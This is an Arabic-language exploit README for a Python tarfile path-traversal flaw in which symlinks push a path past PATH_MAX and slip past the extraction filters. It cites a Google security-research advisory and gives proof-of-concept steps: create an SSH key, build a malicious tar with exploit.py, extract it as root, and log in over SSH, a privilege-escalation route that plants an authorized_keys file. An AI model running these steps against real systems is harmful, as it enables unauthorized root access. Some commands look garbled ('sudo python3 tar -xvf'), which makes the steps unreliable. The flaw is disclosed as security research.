
ثغرة اجتياز الدليل في وحدة Tarfile (مع تجاوز سعة عبر الدليل) --> تؤدي إلى تصعيد الامتيازات
التأثير : تصعيد الصلاحيات
العمل :
تدعم طريقتا TarFile.extractall() و TarFile.extract() في بايثون ميزة تسمح بتعيين فلتر لتحسين أمان استخدام هذه الطرق. توفر المكتبة القياسية لبايثون تطبيقين tar_filter ("tar") و data_filter ("data")، لكل منهما فحوصات مختلفة لتحسين أمان استخراج ملفات tar.
يوجد خطأ عند معالجة مسار يحتوي على روابط رمزية أقصر من PATH_MAX، ولكنه أطول من PATH_MAX عند استبدال الروابط الرمزية بواسطة os.path.realpath(). أي روابط رمزية تتجاوز PATH_MAX لا يتم توسيعها.
يتم استخدام os.path.realpath() بواسطة فلتر "tar" و "data" للتحقق من المسار، ولكن لا يتم طرح أي خطأ إذا تم تجاوز PATH_MAX. لاحقًا أثناء extractall() أو extract() يتم استخدام المسارات دون تمريرها عبر os.path.realpath().
المرجع : https://github.com/google/security-research/security/advisories/GHSA-hgqp-3mmf-7h8f
كيفية استخدام الإثبات (PoC) :
ssh-keygen -t ed25519 -f any
mkdir test
mv any.pub authorized_keys
cp authorized_keys /test
cd test
# ضع اسم ملف مفتاحك العام (authorized_keys)
python3 exploit.py
(file.tar) ~ تم إنشاؤه
# الآن باستخدام Python3
sudo python3 tar -xvf file.tar
# تسجيل الدخول
chmod 600 any
ssh -i any user@ip